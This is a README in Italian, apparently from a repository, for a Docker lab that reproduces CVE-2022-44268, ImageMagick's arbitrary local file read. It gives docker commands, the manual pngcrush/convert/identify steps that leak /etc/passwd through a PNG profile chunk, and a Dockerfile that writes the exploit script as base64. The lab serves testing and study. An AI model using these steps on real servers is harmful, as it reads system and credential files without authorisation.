CVE-2022-44268 ImageMagick Lettura Arbitraria di File Locali

https://www.metabaseq.com/imagemagick-zero-days/

Basandomi sul PoC CVE-2022-44268 ImageMagick Arbitrary File Read PoC, ho creato un ambiente di test per la vulnerabilità utilizzando Docker.

Utilizzo

# get image
docker pull y1nglamore/cve_2022_44268:latest # you can also build from Dockerfile

# run container
docker run --rm -i -t y1nglamore/cve_2022_44268 /bin/bash

Dopo di che entrerai nel contenitore, utilizzando ./run.sh FILEPATH imagemagick leggerà il file

m1-155000_hh4Qzq

Per impostazione predefinita ./run.sh leggerà /etc/passwd

m1-155130_56zEuO

In alternativa, puoi eseguire manualmente il seguente comando

pngcrush -text a "profile" "/etc/passwd" 1.png
exiv2 -pS pngout.png
convert pngout.png gopro.png

identify -verbose gopro.png

Dockerfile

FROM ubuntu:20.04

RUN apt update --allow-insecure-repositories
RUN apt-get install pngcrush  -y --allow-unauthenticated
RUN apt-get install imagemagick  -y --allow-unauthenticated
RUN apt-get install  exiftool exiv2 wget -y --allow-unauthenticated
RUN apt-get install xxd -y   --allow-unauthenticated

WORKDIR /root
RUN wget http://cdn2.pic.y1ng.vip/uPic/2023/02/03/m1-145410_1.png -O 1.png
RUN echo 'IyEvYmluL2Jhc2gKCmlmIFsgLXogIiQxIiBdOyB0aGVuCiAgICBmaWxlPSIvZXRjL3Bhc3N3ZCIKZWxzZQogICAgZmlsZT0iJDEiCmZpCgpwbmdjcnVzaCAtdGV4dCBhICJwcm9maWxlIiAiJGZpbGUiIDEucG5nIApleGl2MiAtcFMgcG5nb3V0LnBuZyAKY29udmVydCBwbmdvdXQucG5nIGdvcHJvLnBuZyAKCmlkZW50aWZ5IC12ZXJib3NlIGdvcHJvLnBuZyB8IGdyZXAgLWUgIl5bMC05YS1mXSokIiB8ICBncmVwIC4gfCB4eGQgLXIgLXAK' | base64 -d > run.sh 
RUN chmod +x run.sh

CMD sleep infinity

Riferimenti e Ringraziamenti

https://github.com/duc-nt/CVE-2022-44268-ImageMagick-Arbitrary-File-Read-PoC

CVE-2022-44268-ImageMagick-Vulnerable-Docker-Environment

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